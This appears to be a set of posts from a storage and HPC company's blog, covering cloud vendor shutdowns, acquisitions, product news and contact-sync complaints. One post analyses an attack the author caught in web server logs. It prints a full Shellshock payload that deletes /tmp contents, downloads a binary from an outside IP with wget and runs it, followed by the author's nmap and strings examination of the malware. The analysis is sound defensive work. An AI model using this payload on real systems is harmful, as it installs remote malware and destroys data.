Nebula shuts down

Nebula, a cloud “appliance” (and company) has shut down. The software is open source, so their customers can pay others to provide support, or migrate to another stack.

This isn’t a public cloud company, rather a private cloud company. There is little operational risk in moving from one openstack build to another. Feel free to reach out to me (landman _@_ scalability.org) privately if you need to speak to someone about this.

The VMs are there, the data is there, all you need is a migration plan and target.

This would be very different if you were using a public cloud and it shut down. Then you have a significant potential of loss of data, IP, capability. I know, I know … Amazon et al will never close/change their business. IBM won’t turn off any part of Softlayer. Rackspace will just keep on operating.

Remember, companies like Sun never (almost) went out of business. GM didn’t need a bail out. Worldcomm?

From a risk mitigation perspective, every instance of business importance in the public cloud should be mirrored internally. If its not important, its ephemeral, and you get the best of all possible worlds in the public cloud. But if you have data that has value of any sort, you either need replication between disparate cloud providers, or you need an internal cloud as well as an external cloud for purely risk mitigation reasons.

Internal clouds have very low risk, apart from provider going belly up. And if they do, you need a solid migration plan and capability.

I think I hit on an interesting business. This is going to become far more important over time. Cloud infrastructure, and migration capability between vendors.

Nebula going away won’t harm much. Amazon going down would. The former won’t massively increase risk. Risk mitigation for important things needs to be done on the latter.

We are agnostic, building private and public clouds. And we want our customers to be in business a long time, and be customers of ours for a long time. So risk mitigation is an important step when you lengthen the value chain with external computing and storage providers.

“Cheaper” always has a cost associated with it.

Viewed 283 times by 195 viewers

M&A: Convey snapped up by Micron

Rich at InsideHPC has the story.

There is a good fit for Micron, as they are rapidly turning into one of the stronger players in the space.

As I had noted, the storage OEMs are either buying into vertical integration or partnering to make it happen. Convey is actually a natural fit given other of Micron’s projects.

The big question is, for the OEMs not going this route, or waiting to go this route, will that strategy work? Is it better to wait or to get an early foothold? Convey represents a very interesting set of technologies applicable to a tightly integrated/hyperconverged stack. As SanDisk demonstrated recently flash storage as a costly appliance may be over. They want to see demand grow, sharply, to help them fund the next generation of storage fabs. The storage OEMs know how to do this in general, but have large “cash cow” sales that they don’t want to disrupt. And at the same time, they need to plan for the eventual disruption. Convey does represent Micron jumping into this more firmly. Seagate has, as well as WD/HGST. Intel has moved up-stack with a file system.

I expect this sort of change to continue in earnest, with likely (many) more M&A on the near horizon.

Viewed 603 times by 304 viewers

Announcement of new storage appliance

More information in our video (linked here in case the video doesn’t embed properly, you may need to enable flash and scripting on the page to see it embed*). Also, check out the page at the day job:

* we don’t do google or other analytics (just local stuff here), so this shouldn’t be a security issue. Let us know if you believe otherwise.

Viewed 1916 times by 784 viewers

M&A: Blekko grabbed by IBM for Watson

Have a look at the page. Blekko was started by a number of people including Greg Lindahl having spent many years in the HPC world. He’s another recovering physical scientist (astronomer as I remember).

This is interesting as it gives a sense as to where IBM sees its future. They aren’t (it looks like to me) trying to compete with google, rather, trying to add interesting capability to Watson.

They see Watson and things derived from it as their future.

This said, I fully expect M&A to kick into high gear soon, in Big Data, Storage, etc.

Viewed 5339 times by 1138 viewers

The worlds fastest hyper-converged appliance is faster and more affordable than ever

This is a very exciting hyper-converged system, representing our next generation of time series, and big data analytical systems. Tremendous internal bandwidths coupled with massive internal parallelism, and minimal latency design on networks. This unit has been designed to focus upon delivering the maximal performance possible in an as minimal footprint … both rack based and cost wise … as possible.

You can use these as independent stand alone units, integrate them into a larger FastPath Unison system

We have our software stack (SIOS) integrated onto each unit, and include our builds of Python + Pandas/SciPy/NumPy, R, and Perl. We pre-install and configure Kx’s excellent kdb+ (32 bit version, and provide a 64 bit install, though you will need to get your own license file), and InfluxDB (http://influxdb.com) with our interface to it (https://github.com/joelandman/influxdbcli). That interface will soon be able to speak to many databases and help you do ETL and other data motion/transformational operations across multiple platforms. The units all include our sios-metrics tools (https://github.com/joelandman/sios-metrics) for monitoring.

We’ve sold a number of these units in recent days. Looking to bring one with me to HPC on Wall Street next month (might be the 4U 48 bay version though).

Its a very exciting time right now, lots of good things happening. More soon … I promise.

Viewed 24480 times by 2444 viewers

Interesting Q1 so far for day job

Our Q1 is usually quiet, fairly low key. Not this one. Looks like lots of pent up demand. We are deep into record territory, running 200+% of normal, with possibility of more.

Another new wrinkle is that our small investment round is mostly complete. This is new territory for us, and you may have noticed I’d backed off posting intensity over the last half year or so while this was going on. Its a long, complex, and annoying experience in many regards. I won’t detail it here. But I will say that we are grateful to those whom believed in our business enough to bet on it.

Many other things are happening, not the least of which is the complete validation of what we’ve been talking about for years with tightly coupled computing. While the industry calls this “hyperconverged”, and we are fine to adopt that moniker, our points about this being pretty much the only realistic path forward to build scalable infrastructure (see what I did there? Didja?) are being trumpeted loudly by numerous companies and analysts. It helps when they raise $100M+ (dear lord!) to pursue this market, and the press continues very favorable reporting of it. This said, over the last 6 months, people have stopped asking us what tightly coupled/hyperconverged computing means, and started asking what are the issues.

And that gets me to the last bit. Another of our core messages, we are starting to see people really get. Performance matters. You can’t cost effectively build/run inefficient systems at any scale, even in a cloud …. no …. especially not in a cloud, and hope to maximize the impact and effectiveness of your expenditure. Armies of crappy/inefficient machines shared amongst many people are inefficient machines. This is fine for web servers. This is double plus ungood for big data analytics and storage. You need performant, efficient systems for this. This has been our message with tightly coupled/hyperconverged systems. This is why our small machines bested machines with 2-4x processing power, 2-4x ram, and 10x number of spindles on STAC M3 tests over the years.

As I say these days, you can’t fake performance.

More soon. Really. The team wants me to blog more … and I am guessing this means at work.

Viewed 27411 times by 2630 viewers

Π day has come

I like Π … apple, cherry, etc.

For those whom don’t get the pun, dates in the US are often written as Month/Day/Year, with year being abbreviated by 2 digits. So with this formatting, today is 3/14/15, or roughly the first 5 digits of Π, which is defined to be the ratio of circumference to diameter of circle on a 2D plane.

You can extend the pun, by noting at 9:26.53 it is “more precise”.

It is generally nonsensical, but its a fun excuse to make/get a pie and share it with family/friends.

We had a peach Π at the office yesterday. Yum!

For what its worth, I prefer a different date format, day-Month_name-Year, and its rather hard there to get to Π day, so I am going to borrow this one and enjoy it with the family.

Viewed 26735 times by 2585 viewers

Has Alibaba been compromised?

I saw this attack in the day job’s web server logs today. From IP address 198.11.176.82, which appears to point back to Alibaba.

This doesn’t mean anything in and of itself, until we look at the payload.

()%20%7B%20:;%20%7D;%20/bin/bash%20-c%20/x22rm%20-rf%20/tmp/*;echo%20wget%20http://115.28.231.237:999/htrdps%20-O%20/tmp/China.Z-thpwx%20%3E%3E%20/tmp/Run.sh;echo%20echo%20By%20China.Z%20%3E%3E%20/tmp/Run.sh;echo%20chmod%20777%20/tmp/China.Z-thpwx%20%3E%3E%20/tmp/Run.sh;echo%20/tmp/China.Z-thpwx%20%3E%3E%20/tmp/Run.sh;echo%20rm%20-rf%20/tmp/Run.sh%20%3E%3E%20/tmp/Run.sh;chmod%20777%20/tmp/Run.sh;/tmp/Run.sh/x22

This appears to be an attempt to exploit a bash hole. What is interesting is the IP address to pull the second stage payload from.

Run a whois against that … I’ll wait.

In the records we see a number of things:

inetnum	115.28.0.0 - 115.29.255.255
netname	ALISOFT
descr	Aliyun Computing Co., LTD
descr	5F, Builing D, the West Lake International Plaza of S&T
descr	No.391 Wen'er Road, Hangzhou, Zhejiang, China, 310099
country	CN

...

 
phone	+86-[redacted]
e-mail	[redacted]@alibaba-inc.com
nic-hdl	ZM1015-AP
mnt-by	MAINT-CNNIC-AP
changed	ipas@cnnic.net 20130730
source	APNIC

...

Where I hand redacted the name/email/phone from the information. Easy enough to find, but note the email address.

Who is Alisoft?

Well, according to Crunchbase

Alisoft develops, markets and delivers Internet-based business management software targeting Small and Medium Enterprises (SMEs) in China. Founded by parent Alibaba Group, Alisoft is currently offering five different services: Customer relationship management (CRM), Inventory management, Sales force management, Financial tools,and Marketing information

This could be simply one compromised machine. Never attribute to malice that which may be better explained by incompetence. They wouldn’t leave a machine wide open, right?

landman@lightning:~$ nmap 115.28.231.237

Starting Nmap 6.40 ( http://nmap.org ) at 2015-03-11 19:30 EDT
Nmap scan report for 115.28.231.237
Host is up (0.26s latency).
Not shown: 985 closed ports
PORT     STATE    SERVICE
42/tcp   filtered nameserver
135/tcp  filtered msrpc
139/tcp  filtered netbios-ssn
445/tcp  filtered microsoft-ds
593/tcp  filtered http-rpc-epmap
999/tcp  open     garcon
1023/tcp filtered netvenuechat
1025/tcp filtered NFS-or-IIS
1068/tcp filtered instl_bootc
1434/tcp filtered ms-sql-m
3389/tcp open     ms-wbt-server
4444/tcp filtered krb524
5800/tcp filtered vnc-http
5900/tcp filtered vnc
6669/tcp filtered irc

oh … well … maybe …

Ok, but this wouldn’t be conspicuously serving and easily accessible on that port 999, right? So lets fire up links and see what we see …



Oh … my.

Ok, for laughs, let me pull down the payload. And look at it with strings. See if I see anything in there.

strings /tmp/evil

...

$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.91 Copyright (C) 1996-2013 the UPX Team. All Rights Reserved. $
PROT_EXEC|PROT_WRITE failed.

Ok, its UPX compressed. Lets look into it some more.

landman@lightning:/tmp$ upx-3.91-amd64_linux/upx -l evil 
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2013
UPX 3.91        Markus Oberhumer, Laszlo Molnar & John Reiser   Sep 30th 2013

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
   1513570 ->    416596   27.52%  netbsd/elf386  evil

and sure enough

landman@lightning:/tmp$ ls -al evil 
-rw-r--r-- 1 landman landman 1513570 Mar 11 19:36 evil

landman@lightning:/tmp$ file evil
evil: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped

Again, run strings and … whoa! Someone used a -g when compiling, there are a metric butt-load of symbols in there. Seriously … Its obviously c++ source as it turns out, and its been internationalized.

And there are misspellings …

19CThreadAttackKernal

It seems to want to play with TLS. I am guessing not in a good way.

But this said, I was looking for another address, either IP address or web address, or something.

Sure enough, strings found this

www.baidu.com

...

8.8.8.8

In the end I did this

landman@lightning:/tmp$ rm -f evil

Were it really so simple.

Next up, I may send them an email point out the … er… badly misconfigured unit, and the attack server set up on it. And the attack coming from their site at a different address.

This reminds me of the Moscow rules. Once is an accident, twice is coincidence. Three times is enemy action.

Viewed 31868 times by 3022 viewers

A completely unsolved problem

contact management across multiple devices/OSes/applications. Yeah, I know, just use iCloud/Gmail/etc.

Except they are all broken. And not a little bit.

I rely upon one, consistent, correct contact list that has email, phone, etc. for all the people I know and communicate with. In years past, I’ve had this list sync back and forth to Gmail via google. And it used to work.

Then iPhone5 and well, ya know, it broke. Not so curiously, iPhone also broke google calendar integration. And while we were at it, google seemed to break the various apps that used to work with it perfectly for thunderbird email integration.

Same list, sometime it would sync. Sometimes not.

The iphone5 would wind up doing something that looked like a massive blow up in number of contacts. As you added more contacts, things slowed down. Drastically. Tremendously. All aspects of the phone were slower. Nothing was fast.

Same with Thunderbird. And all the other mail apps. Everywhere.

Phone dialing was a joke thereafter. Contact list would take 10-30 seconds to show up. I kid you not.

I would dial a number, the screen would remain blank while I heard it go through, but with no controls, save an on-off button.

This was true on iOS and Android. On Thunderbird, as the size of the contact list exploded from about 2k names to 20k names, address completion would lock up the client.

Ok, there are a few issues here. I’ll take a wild guess, but should I assume that someone is using an O(n^2) algorithm for sorting lists? Or full “table” scans for lookup? I have doubts that a quad core CPU such as in the Android can be so easily swamped.

The problem with the contact lists appears to be in part on the server side, and in part on the client side. The clients appear to be fairly dumb. But so are the servers. Bi-directional sync is the cause of the massive explosion of contacts (10x per day, growing exponentially). This leads to all manner of interesting behaviors being exposed.

Basically I think we need to re-think the contact list. I think it is horribly broken across pretty much all clients at the moment. The only saving grace on the server side is the duplicate removal. It allows me to iteratively repair a list gone horribly wrong.

This said, I think I’ve found my next project. A proper, and intelligent (and secure at that) cloud based server handling contact data. A sane set of clients for Android and iOS to correctly populate/manage/update. A sane set of clients for Thunderbird etc. to locally populate. An easy way to backup, restore, browse, search, integrate, separate, and otherwise manage the data.

And if someone else has already done this, so as to save me the joy of developing this myself, please let me know. All I find online are fact-free reviews of silly apps that sort-kinda-but-not-really work.

Viewed 33974 times by 3046 viewers

Scalable Informatics customer Milford Film and Animation does awesome projects

Its nice to hear success stories from our customers. In this case, our friends and customers at Milford Film and Animation have been using our systems for a number of years to provide the basis for their storage efforts.

Their systems are very computationally, network, and IO intensive. There is a tremendous amount of rendering, editing, and many other things that require absolutely the highest performance you can get in a dense package. Our goal is to make the storage aspect not something they ever need to think about. Make sure it is as performant and reliable as possible.

So we do. And here is an example of their work.

You may have seen other examples of their work at our booth at SC14. A fantastic customer, a terrific use case.

Imagine what we can do for anyone in this space … Our systems run near peak performance an efficiency on a continuous basis for long duration of intensive use. We help our customers be successful … we need them to be successful. And we’ll pull out the stops to make sure that they are, that our kit and capabilities contribute to their success. The rest is up to them.

As you can see from the clip, and the other bits they have, Milford is a wonderful and creative partner to work with. I wish we had many more like them!

Viewed 37251 times by 3348 viewers